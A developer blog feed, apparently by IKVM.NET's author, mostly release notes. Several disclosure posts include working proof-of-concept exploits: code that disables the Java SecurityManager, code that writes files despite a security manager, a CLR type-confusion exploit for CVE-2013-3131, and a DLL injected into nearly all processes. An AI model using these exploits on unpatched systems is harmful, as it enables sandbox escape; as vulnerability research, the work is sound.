I was at FOSDEM last weekend and was reminded that I hadn't released any IKVM.NET updates in a while. So lets try to get back on the wagon. Changes: Don't use CLR v2 peverify when targetting CLR v4. Support inner classes in "new style" native methods. Bug fix. Bypass security manager check when getting ikvm.reflect.field.inflationThreshold system property. Bug fix. Volatile long & double fields cannot use slow path reflection, because .NET reflection does not ensure atomic reads/writes. Reduced the number of cases where slow-path field reflection can't be used. Allow slow path field reflection on remapped types and handle the unsupported scenarios explicitly. Removed ICustomInvoke. Changed Exception.writeReplace() method into a DynamicOnly method, because there's no real gain in using "fast" reflection. Bug fix. We need to promote integral values to the proper type when calling a DynamicOnly method via reflection. Unified the MethodWrapper.Invoke() semantics. Added NO_REF_EMIT conditional compilation support for reflection. Added no-ref-emit build target. Fixed ILGenerator.EmitCalli() to not add the sentinel if there are no varargs. Reimplemented JNI non-virtual method invocation based on delegates instead of DynamicMethod. Emit non-virtual invocation delegate types when compiling with the -static option. Made annotation custom attribute decoding lazy to work around issue reported in #270. Removed unneeded use of reflection from AnnotationAttributeBase. Made accidentally public methods AnnotationAttributeBase.newAnnotation() and AnnotationAttributeBase.decodeElementValue() internal. Made AnnotationAttributeBase.writeReplace() method private. Fixed various minor AnnotationAttributeBase issues. Added (partial) support for Java 8 MethodParameters attribute. Introduced EMITTERS conditional compilation constant. Added a (partial) NO_REF_EMIT implementation of the DynamicCreateDelegate error hander. If ikvmc -static option is used, don't add the InternalsVisibleTo("...-ikvm-runtime-injected") attribute. Validate constant pool items referenced by EnclosingMethod attribute. Updated Mono workaround for Mono 3.0.x. Don't issue "warning IKVMC0100: Class "{0}" not found" for types that are only used in signatures. Fixed JInternalFrame paint issue. Performance fix. When throwing a ClassNotFoundException from Class.forName() or AssemblyClassLoader.loadClass() we should avoid calling fillInStackTrace() on the exception. Bug fix. Check for supported delegate signatures should detect pointers inside byref and array types and return type should be checked as well. Bug fix. Fake nested types should have Static modifier set in innerclasses attribute. Fixes scala compiler interop issue. Thanks to Michael Bayne for reporting this. Bug fix. ikvmstub -skiperror should also skip errors during WriteClass. Handle signatures with function pointer types in ikvmc and ikvmstub. Made BufferedImage.toBitmap() package private. Fixed BufferedImage sync issues. Add @Repeatable annotation to custom attribute annotations that AllowMultiple (when IKVM_EXPERIMENTAL_JDK_8 is defined). Implemented getCurrentThreadCpuTime in management API. Added support for binding method handles to methods that require CallerID. Bug fix. String.CaseInsensitiveComparator inner class should be acknowledged by [...]



Publicly Reported OpenJDK Vulnerability Fixed in 7u51

Thu, 16 Jan 2014 07:50:59 GMT

I tweeted a while ago about an OpenJDK vulnerability that was reported on one of the mailing lists.

Now that it has been fixed in 7u51, here is a simple PoC exploit:

import java.lang.invoke.*;

class test extends java.io.FileOutputStream {
  static test t;

  test() throws Exception {
    super("");
  }

  protected void finalize() {
    t = this;
  }

  public static void main(String[] args) throws Throwable {
    MethodHandle mh = MethodHandles.lookup().findVirtual(test.class, "open",
                        MethodType.methodType(void.class, String.class, boolean.class));
    System.out.println(mh);
    try { new test(); } catch (Exception _) { }
    System.gc();
    System.runFinalization();
    mh.invokeExact(t, "oops.txt", false);
  }
}

Run this with a security manager enabled on a version earlier than 7u51 and it'll create the file oops.txt, even though the code doesn't have the rights to do so.

(image)



Java Method Overriding Is FUBAR Part 8 of ∞

Tue, 29 Oct 2013 12:53:34 GMT

Due to my laziness and lameness my previous post wasn't as convincing as it should have been, so I'm going to try again.

Take this code:

class A {
  public static void main(String[] args) {
    A obj = new B();
    obj.finalize();
    obj = null;
    System.gc();
    System.runFinalization();
  }

  protected void finalize() {
    System.out.println("A.finalize");
  }
}

class B extends A {
  private void fin_lize() {
    System.out.println("B.finalize");
  }
}

Compile this and patch B.class to replace fin_lize with finalize.

What is the expected output of this program? In my opinion it is:

A.finalize
A.finalize

This is also the output that both JDK 1.1 and IKVM.NET give. However, on JDK 1.5 and up the output is:

A.finalize
B.finalize

This did not change in the 7u45 update.

To me the above is already enough to obviously demonstrate the problem, but since I'm apparently somewhat atypical I'm going to try to explain a bit more carefully.

  1. The Java 7 vmspec claims that private methods can override base class methods.
  2. JVMS section 5.4.5. Method overriding was added in the Java 7 edition of the JVMS. It is clearly incorrect as it disagrees with both previous and current behavior of all known JVMs.
  3. Given that private methods do not in fact override any methods, the check for final base class methods that was introduced in 7u45 is bogus.
  4. What should have been fixed in 7u45 is the native code that calls the finalize method, as it clearly needs to do a virtual invocation of Object.finalize() not call the private B.finalize method.

I hope I've done a better job now of making clear way the 7u45 update is bogus, the JVMS spec change is wrong and that finalization still needs to be fixed.

(image)



Java Method Overriding Is FUBAR Part 7 of ∞

Thu, 17 Oct 2013 07:33:48 GMT

My friends at Oracle seem determined to make me finish my infinite series of blog posts of Java method overriding.

Before the 7u45 security update the following (pseudo) code ran fine:

class A {
  final void m() { }
}

class B extends A {
  private void m() { }
}

Now with 7u45, loading class B throws an exception:

java.lang.VerifyError: class B overrides final method m.()V

This makes no sense at all and is a misguided attempt to fix the issue I reported here. Ironically, it doesn't even completely fix the issue, because a static finalize method still prevents the final finalizer from running:

class A {
  protected void finalize() {
    System.out.println("A.finalize");
  }
}

class B extends A {
  public static void main(String[] args) {
    new B();
    System.gc();
    System.runFinalization();
  }

  private static void finalize() { }
}

Pre-emptive comment about comments: Feel free to leave comments, but I'm not going to respond to people that clearly don't have a clue.

Update: I misread the spec. The change is actually in line with the spec. Unfortunately the spec is wrong.

(image)



Type Confusion PoC for CVE-2013-3131 (MS13-052)

Wed, 10 Jul 2013 11:05:47 GMT

I did not discover this vulnerability (Alon Fliess filed the (public) bug report), but I decided to investigate it and write a PoC exploit:

using System;
using System.Runtime.CompilerServices;

struct Foo {
  byte b1, b2, b3;
}

class U1 { }
class U2 { }

struct StackFields {
  internal object f1;
  internal U1 f2;
  internal U2 f3;
}

class Program {
  long field1;
  long field2;

  static void Main() {
    new Program().Get(new Foo[1, 1]);
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  object Get (T[,] arr) {
    StackFields fields = new StackFields();
    fields.f1 = new U1();
    fields.f2 = new U1();
    fields.f3 = new U2();
    arr.ToString();
    object v = arr[0, 0];
    field2 = field1;
    Console.WriteLine(fields.f3);
    return v;
  }
}

This requires .NET 4.5 x64 (and must be built/run in release mode).

The bug is that the array accessor that is generated clobbers the RSI and RDI registers.

(image)



Overriding a Final Finalize

Thu, 30 May 2013 14:11:44 GMT

Compile the following code:

class Base {
  protected final void finalize() {
    System.out.println("Base.finalize");
  }
}

class Derived extends Base {
  private void fin_lize() {
    System.out.println("Derived.finalize");
  }

  public static void main(String[] args) {
    new Derived();
    System.gc();
    System.runFinalization();
  }
}

Now patch Derived.class with a hex editor to change fin_lize to finalize. Run with OpenJDK or Oracle JRE/JDK and observe that Derived.finalize is printed.

This happens because the finalize method is called via JNI reflection and the method name is resolved against the real object type instead of java.lang.Object. The OpenJDK code can be seen here.

A better way to do this would be to add an invokeFinalize method to JavaLangAccess. This avoids the expense of native code and reflection.

(image)



The End of ACC_SUPER

Thu, 18 Apr 2013 06:55:58 GMT

Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

import java.lang.invoke.*;

class test extends Thread implements Cloneable {
  public static void main(String[] args) throws Throwable {
    test obj = new test();
    System.out.println(obj == MH_1().invokeExact(obj));
  }

  private static MethodHandle MH_1() throws Throwable {
    return MethodHandles.lookup().findSpecial(Object.class, "clone", MethodType.methodType(Object.class), test.class);
  }
}

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

(image)



Java 7 Update 21

Wed, 17 Apr 2013 06:00:08 GMT

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21. Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4. import java.lang.invoke.MethodHandle; import java.lang.reflect.Field; import static java.lang.invoke.MethodHandles.lookup; class Union1 {   int field1;   Object field2; } class Union2 {   int field1;   SystemClass field2; } class SystemClass {   Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,     f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,     f24,f25,f26,f27,f28,f29,f30; } class PoC {   public static void main(String[] args) throws Throwable {     System.out.println(System.getSecurityManager());     disableSecurityManager();     System.out.println(System.getSecurityManager());   }   static void disableSecurityManager() throws Throwable {     MethodHandle mh1, mh2;     mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);     mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);     Field fld1 = Union1.class.getDeclaredField("field1");     Field fld2 = Union2.class.getDeclaredField("field1");     Class classInt = int.class;     Class classDouble = double.class;     mh1.invokeExact(int.class);     mh2.invokeExact((Class)null);     Union1 u1 = new Union1();     u1.field2 = System.class;     Union2 u2 = new Union2();     fld2.set(u2, fld1.get(u1));     mh1.invokeExact(classDouble);     mh2.invokeExact(classInt);     if (u2.field2.f29 == System.getSecurityManager()) {       u2.field2.f29 = null;     } else if (u2.field2.f30 == System.getSecurityManager()) {       u2.field2.f30 = null;     } else {       System.out.println("security manager field not found");     }   } } [...]



IKVM.NET 7.3 Release Candidate 0

Thu, 28 Mar 2013 08:27:31 GMT

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.2):

  • Greatly improved support for dynamically loading classes in statically compiled assembly class loaders.
  • Changed ikvmc to default to using runtime binding when a class is not available at compile time.
  • Fixed ikvmc to use jar class loading that matches the runtime.
  • The runtime now projects stub classes into the (virtual file system) jars they came from.
  • Runtime stub classes are now generated by the same code as ikvmstub uses.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Fixed memory model bugs on ARM.
  • Many bug fixes.
  • Improved ikvmc error messages.
  • Deprecated using stub classes with ikvmc.
  • Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to Java.
  • Font API improvements.
  • Graphics API improvements.
  • Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.

Changes since previous development snapshot:

  • Volatile long/double fields should not use slow reflection.
  • Reduce complexity of annotation custom attributes construction to improve performance and lower risk (for broken apps that should have used ReflectionOnly).
  • Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.
  • Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.

Binaries available here: ikvmbin-7.3.4830.0.zip

Sources: ikvmsrc-7.3.4830.0.zip, openjdk-7u6-b24-stripped.zip

(image)



New Development Snapshot

Tue, 19 Mar 2013 11:28:00 GMT

My burst of inspiration ended. So I guess it's time to do a release soon.

Changes:

  • Expose Java 8 static interface methods as static methods via nested __Methods type.
  • Expose Java 8 default interface methods as static methods via nested __DefaultMethods type.
  • Build fix. When doing a clean build the two generated Java source files don't exist yet, so we process the .in files instead.
  • Added nuget package creation build file.

Binaries available here: ikvmbin-7.3.4826.zip

(image)



New Development Snapshot

Mon, 11 Mar 2013 07:35:25 GMT

I'm still working on issues resulting from the big change. There are some more known issues and probably a few unknown ones. However, I couldn't help myself and decided to a little bit of work on Java 8 support. If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java 8 class files that use the new static and default interface method features.

There is no interop with other .NET languages yet, so you won't be able to call static interface methods from (e.g.) C# or take advantage of default interface method implementations. The interop story for default interface methods isn't going to be great even when it is done. You'll have to manually call the default methods in your C# code. Something like this:

class MyCSharpClass : SomeJavaInterface {
   public void method() {
      SomeJavaInterface.__DefaultMethods.method(this);
   }
}

Changes:

  • Optimized some dynamic binding operations.
  • Switched dynamic field binding to method handles.
  • Removed "effectively final" optimization because it breaks the ability to dynamically load subclasses.
  • Added experimental support for static methods in interfaces (for Java 8 class files).
  • Added experimental support for default interfaces methods (for Java 8 class files).
  • Fixed an ikvmc crash when a member is accessed on a type from a missing assembly.
  • Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text.
  • Bug fix. Don't implement interfaces that aren't accessible.
  • Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented replaceRange.
  • Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.

Binaries available here: ikvmbin-7.3.4817.zip

(image)



New Development Snapshot

Mon, 04 Mar 2013 08:20:59 GMT

Another week, another snapshot.

Changes:

  • Fixed several annotation encoding issues in new stub class generator.
  • Added back support for exporting annotations in .NET assembly stub classes.
  • Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already have an explicit ObsoleteAttribute annotation.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.
  • Added license headers to build scripts.
  • Made boot class package handling simpler (more OpenJDK based). The package information is now read from the manifest instead of hard coded.

Binaries available here: ikvmbin-7.3.4811.zip

(image)



IKDASM Update

Mon, 25 Feb 2013 10:58:14 GMT

I finally created a github repository for ikdasm. A couple of weeks ago I fixed some ildasm compatibility issues and changed pinvokeimpl and marshalas handling to use the IKVM.Reflection specific APIs instead of decoding the pseudo custom attributes (I also used the new IKVM.Reflection feature to disable generating pseudo custom attributes). I added external module support and fixed some other small issues.

The primary purpose of ikdasm is to make sure that the IKVM.Reflection API is complete. I believe it now exposes all relevant Managed PE file features. The secondary feature is to test IKVM.Reflection and to make this easy ikdasm replicates (almost) all ildasm quirks to enable comparing the output files. I disassembled a large number of files (including C++/CLI and Managed C++ files) and compared the results.

Only a small subset of ildasm functionality has been cloned. There is no GUI and most command line options are also not implemented.

Pull requests are welcome.

(image)



New Development Snapshot

Mon, 25 Feb 2013 06:41:17 GMT

Still more changes to better support what I'll start calling "mixed mode" (i.e. ikvmc compiled assemblies that use dynamically loaded classes or use dynamic binding to classes in another assembly).

Another change is that runtime stub class generation is now based on the ikvmstub class file writer, instead of the very old code that was reflection based. This means that stubs can now acurately be generated even when some of the types involved are not available.

Changes:

  • Refactored assembly class loading.
  • Added ikvm.runtime.EnumerationWrapper to expose an IEnumerable as a java.util.Enumeration.
  • Removed the old runtime Java stub class generator and replaced it with the ikvmstub core.
  • Allow dynamic class loading from boot class "path" and referenced assemblies.
  • Regression fix. The previous custom assembly class loader construction rewrite introduced a bug.
  • Bug fix. MethodHandle should be able to call dynamic only methods.
  • Bug fix. MethodHandle to Object.clone/finalize should be special cased.
  • Reimplemented dynamic binding on top of MethodHandles.

Binaries available here: ikvmbin-7.3.4804.zip

(image)



New Development Snapshot

Wed, 20 Feb 2013 07:24:44 GMT

A quick update because the previous snapshot had a bug that caused ikvmc to be completely broken on the CLR x86 JIT.

Changes:

  • Changed build to explicitly exclude the classes that are already defined in map.xml.
  • Changed ikvmc to add uncompilable classes loaded from the file system to classes.jar.
  • Changed ikvmc to copy zip file comment.
  • Changed ikvmc to emit a warning if a remapped type duplicates a loaded class.
  • Removed CallerID optimization special casing since we can now call internal members from dynamic assemblies.
  • Added some version information to the Internal Compiler Error message.
  • Added some version information to runtime critical failure.
  • Fixed AttributeHelper to have a deterministic class constructor.
  • Bug fix. Disallow invalid class names in AssemblyClassLoader.loadClass().
  • Removed the special casing of generic type definition loading as we've since exposed the generic type definitions to Java.
  • Some beginnings of class loading refactoring.

Binaries available here: ikvmbin-7.3.4799.zip

(image)



New Development Snapshot

Mon, 18 Feb 2013 08:05:07 GMT

Lot's of changes in just a week. The most interesting one being that ikvmc and the runtime now work together to project all the classes that were in the original jars compiled by ikvmc are now visible in the same (virtual) jars at runtime. To avoid making the generated assemblies much bigger, this is implemented by having ikvmc generate a compressed file called --ikvm-classes--/ in the resources jar that contains the names of the classes compiled from this jar. This typically adds about 0.5% size overhead. At runtime when that jar is read in by java.util.zip.ZipFile it expands the list of class names to create virtual ZipEntries. Only when a virtual class resource is accessed is the class stub generated. Changes: Fixed ikvmc to give a proper error message if it fails to write to the output file. If a class can't be statically compiled due to a missing base class/interface, include it as a resource. Modified the assembly class loader to try to load classes from resources. Made dynamic binding to unloadable types the default (for ikvmc). Added -static option to ikvmc to disable dynamic binding. Unified all ikvmc filename validation. Implemented StandardGlyphVector.getGlyphOutline(). Bug fix. When looking for a method to override we should handle internal access methods. Fixed some runtime memory model issues (for non-x86 architectures). Bug fix. Custom attribute annotation should skip indexer properties. Bug fix. The available() method of the InputStream returned by ZipFile.getInputStream() was based on ZipEntry passed in, instead of the actual one. Fixed ikvmc to suppress "class not found" warning for a classes that fails to compile for any reason (because we've already given a warning about it). Bug fix. Don't look for main method in excluded classes. Unified the handling of resources and classes in ikvmc. Include all uncompilable .class files (from jars) into the resource jars. Project stub classes into the jar the classes originated from. Fixed ikvmc to prefer the last jar entry if there are duplicate entries. This mirrors the behavior of Java and dynamic mode. Fixed ikvmc to compare extensions case sensitive to find .class files. Fixed ikvmc to use the jar entry name, instead of the class name to load classes. Removed exclude.lst left over from ancient times. Removed META-INF/mailcap.default and META-INF/mimetypes.default resources that are no longer in resources.jar. Changed ikvmc -recurse: option to give a fatal error if it matches no files. Binaries available here: ikvmbin-7.3.4796.zip [...]



New Development Snapshot

Mon, 11 Feb 2013 12:02:04 GMT

The recent architectural change makes it possible for the static compiler to use dynamic binding when it encounters a missing type. This in turn makes the dynamic binding support more important, so I've been fixing a lot of bugs in this area. Currently, ikvmc will still emit code that statically throws a NoClassDefFoundError when accessing missing types, but in the future the default will change to generate dynamic binding code in this case. Changes: Fixed a bug with Graphics.setComposite(x). This fixes most paint artefacts of Nimbus L&F. Fixed a NPE in constructor of BufferedImage. Fixed TexturePaint bugs. Enable ldc to work for unloadable types in dynamic mode. Changed dynamic bytecode helper methods to be CallerID based instead of trusting the caller to provide the right context type handle. Use sun.launcher.LauncherHelper to make the launcher more consistent with Java. Implemented package access checks in dynamic mode. Fixed reflection handling of unloadable types. Added CodeGenOptions.DisableDynamicBinding to disable dynamic binding, instead of conditional compilation. Bug fix. Dynamic method invocations should unwrap InvocationTargetException. Bug fix. Dynamic instantiation should throw InstantiationError when trying to instantiate an abstract class. Bug fix. Dynamic invokespecial (that isn't a new) should fail verification. Bug fix. Dynamic method lookup should also look in base classes (for non-constructor methods). Bug fix. When dynamically calling a non-constructor instance method, the receiver object should be of the correct type. Added support for setPaint with custom Paint implementation. Added support for dynamic (non-loadable type) annotations in statically compiled code. Have ikvmc record inner classes even if they can't be loaded. Have ikvmc record the outer class even if it is not loadable. Bug fix. If the runtime tries to load a class from an assembly with a custom assembly class loader, the custom assembly class loader should be called. Previously it would only be called if the Java class loader had been instantiated. Bug fix. We should emit miranda methods for non-abstract classes too. Bug fix. Mark "missing" interface methods so that subclasses (that are compiled separately) know that the base class is incomplete. Allow dynamic assemblies injected into assembly class loaders to be (debug dump) saved. Changed the build system to automatically scan all sources files for copyright statements and validate that all GPL licensed files include the Classpath exception. Removed resource compiler dependency from JVM.DLL build. Bug fix. Custom assembly class loader was made visible to other threads while it was still being constructed. Stop considering ACC_SUPER when linking invokespecial (unless compatibility switch is set). This change matches the security change in Java 7u13. Improved ldc MethodType: Use nested typ[...]



Fixing a Long Standing Limitation

Fri, 25 Jan 2013 06:51:20 GMT

I finally fixed the limitation that classes dynamically loaded by an assembly class loader can't access the internals of the assembly. Here's a simple demonstration of the problem. Suppose you have these two classes: class Other {   static {     Test.m();   } } class Test {   public static void main(String[] args) throws Exception {     Class.forName("Other");   }   static void m() {     System.out.println("Test.m");   } } Now if you compile Test.class (without Other) into an assembly with a ClassPathAssemblyClassLoader and run this with IKVM.NET 7.2 you'll see something like this: C:\j>ikvmc Test.class -classloader:ikvm.runtime.ClassPathAssemblyClassLoader IKVM.NET Compiler version 7.2.4630.6 Copyright (C) 2002-2013 Jeroen Frijters http://www.ikvm.net/ note IKVMC0001: Found main method in class "Test" note IKVMC0002: Output file is "Test.exe" C:\j>Test Exception in thread "main" java.lang.ExceptionInInitializerError         at cli.System.Runtime.CompilerServices.RuntimeHelpers._RunClassConstructor(Unknown Source)         at IKVM.Internal.TypeWrapper.RunClassInit(Unknown Source)         at IKVM.NativeCode.java.lang.Class.forName0(Unknown Source)         at java.lang.Class.forName(Class.java:287)         at Test.main(Test.java:9) Caused by: cli.System.MethodAccessException: Test.m()         at Other.(Test.java) The call from Other to Test fails with a MethodAccessException, because the dynamic assembly does not have access to the internal members of the Test.exe assembly. Long ago I considered fixing this by adding an InternalsVisibleToAttribute to all statically compiled assemblies that allows the runtime generated dynamic assembly access to its internals, but I dismissed this because it would mean that untrusted code could abuse this same assembly identity to access the internals of any ikvmc compiled assemblies. Forging a StrongNameKeyPair Yesterday I realized that I could use InternalsVisibleToAttribute without opening a security hole. When the IKVM runtime is running as fully trusted code, it can forge a StrongNameKeyPair to attach to the dynamic assemblies it generates and thereby gain access to the statically compiled assemblies, without giving untrusted code the same access. The only downside to this approach is that it relies on an implementation detail of the CLR (and Mono). I try to stay away from depending on implementation details, but in this case the gain far outways any risk. Using It From C# It also works for your C# assemblies. By adding a custom attribute, you can now enable dynamically loaded[...]



New Development Snapshot

Wed, 16 Jan 2013 11:24:57 GMT

The recent Windows RT jailbreak enabled me to run IKVM on my Surface RT. Out of curiousity I decided to run a part of the test suite. Only three tests failed, one because it relies on specific GC behavior and two because they use JVM.DLL. Previously, IKVM's JVM.DLL assemblies were created with ilasm, because that was the easiest way to create unmanaged exports at the time. However, ilasm doesn't seem to support ARM, so I added this support to IKVM.Reflection and wrote a simple tool to generate unmanaged export assemblies. Of course, supporting unmanaged exports on Windows RT in IKVM.Reflection is not very useful, but it was an interesting exercise to learn a little bit about the ARM instruction set. I also did some more useful work. I finally got around to changing how ikvmc handles assembly references. It now works like the C# compiler and uses the IKVM.Reflection support for missing assemblies that I added for mcs. This means that it no longer automatically loads assemblies (apart from the IKVM runtime and class library assemblies) and you need to add explicit references for indirectly used assemblies as well. The downside is that this has the potential to break some builds, but the upside is that the compilation process is now more predictable and only loads the actually required assemblies, like a "real" compiler, instead of the System.Reflection heritage that required loading even unused dependencies. Another change is that ikvmstub jars are now officially deprecated from being used with ikvmc (it will still work for a while, but a warning message is issued). Finally, it is now illegal to explicitly reference a secondary assembly in a shared class loader group. Previously this caused a warning message, but now this is an error. You need to reference the primary assembly. Changes: Deduplicate ikvmc messages based on all parameter values, not just the first one. Allow ikvmc messages to be suppressed based on any number of parameter values. Fixed ikvmc to write fully specific -nowarn options to suppress file. Fixed ikvmc to handle missing types. Added ikvmc support for missing assemblies. Officially deprecated using stubs with ikvmc. Bug fix. Don't add duplicate methods to attribute annotation interfaces. The primary cause of this was attributes with virtual properties where we would add the base class property as well as the derived class overridden property. Changed build process to replace ilasm usage to generate JVM.DLL with a custom tool. Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #3600788. Changed ikvmc to give an error message (instead of a warning) when referencing a secondary assembly from a shared class loader group). Made ikvmc EditorBrowsableAttribute construction fully symbolic, to avoid having to load System.dll. Disabl[...]



IKVM.NET 7.2 Update 1 Release Candidate 0

Tue, 15 Jan 2013 10:47:09 GMT

An updated release with a couple of bug fixes.

Changes (relative to 7.2):

  • Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called from another thread than the one initiating exit.
  • Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces in another assembly.
  • Bug fix. Don't add duplicate methods to attribute annotation interfaces.
  • Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #3600788.

Binaries available here: ikvmbin-7.2.4630.6.zip

Sources: ikvmsrc-7.2.4630.6.zip, openjdk-7u6-b24-stripped.zip 

(image)



New Development Snapshot

Sun, 06 Jan 2013 08:51:23 GMT

I've been busy with other stuff, but I did manage to fix a couple of bugs and add a new feature. So a new development snapshot.

Changes:

  • .NET resources in non-Java assemblies are now exposed as Java resources.
  • Added IKVM.Attributes.JavaResourceAttribute to publish .NET resource to Java under a different name.
  • Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called from another thread than the one initiating exit.
  • Minor optimization. Only register the AppDomain.ProcessExit event handler when necessary.
  • Bug fix. Private methods declared in map.xml should not be made virtual.
  • Support "attributes" attribute on method tag in map.xml for methods declared in remapped types.
  • Recognize methods in remapped types with the "__<" name prefix as HideFromJava.
  • Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces in another assembly.
  • IKVM.Reflection: Implemented __ContainsMissingType for function pointer types.
  • IKVM.Reflection: Changed __ContainsMissingType to take custom modifiers into account.
  • IKVM.Reflection: Added caching for __ContainsMissingType property to simplify the prevention of infinite recursion while evaluating generic parameter constraints.

Binaries available here: ikvmbin-7.3.4754.zip

(image)



Raspberry Pi

Fri, 28 Dec 2012 20:19:04 GMT

I got a Raspberry Pi for my birthday.

pi@raspberrypi ~ $ sudo apt-get install ikvm
pi@raspberrypi ~ $ ikvmc -out:javac.exe -r:/usr/lib/ikvm/IKVM.OpenJDK.Tools.dll -main:com.sun.tools.javac.Main
pi@raspberrypi ~ $ vi Hello.java
pi@raspberrypi ~ $ mono javac.exe Hello.java
pi@raspberrypi ~ $ ikvm Hello
Hello World

Amazing...

(image)



A Hack To Make CLR's DEVPATH Suck Less

Sun, 16 Dec 2012 10:47:50 GMT

The CLR's DEVPATH feature has always been broken and its brokeness varied over the years, but for my purposes it was a very useful feature. However with .NET .4.5 Microsoft decided to up the ante. If you have configured your .NET 4.5 runtime as a "developer installation", ngen will fail to generate native images for framework assemblies. This means that after Windows Update services mscorlib.dll, no native images will be used anymore.

Obviously you can work around this by editing the machine.config and re-running ngen, but that is a bit of a pain so decided to hack together a workaround.

The basic idea is to have a DLL that gets injected into (nearly) every process and patches mscoree.dll to make CreateConfigStream read developer-machine.config instead of machine.config if the DEVPATH environment variable is set.

The source and binaries are available here. Like the Microsoft DEVPATH code, this is untested so there is no warranty and use at your own risk. Bug reports are welcome of course.

There is no installer and there are no installation instructions, because frankly, if you don't know how to install it you probably shouldn't be doing so anyway..

The overhead is fairly low. If you don't have DEVPATH set the DLL will immediately unload again. The file size is only 3KB and in memory it will only use a single 4KB page.

(image)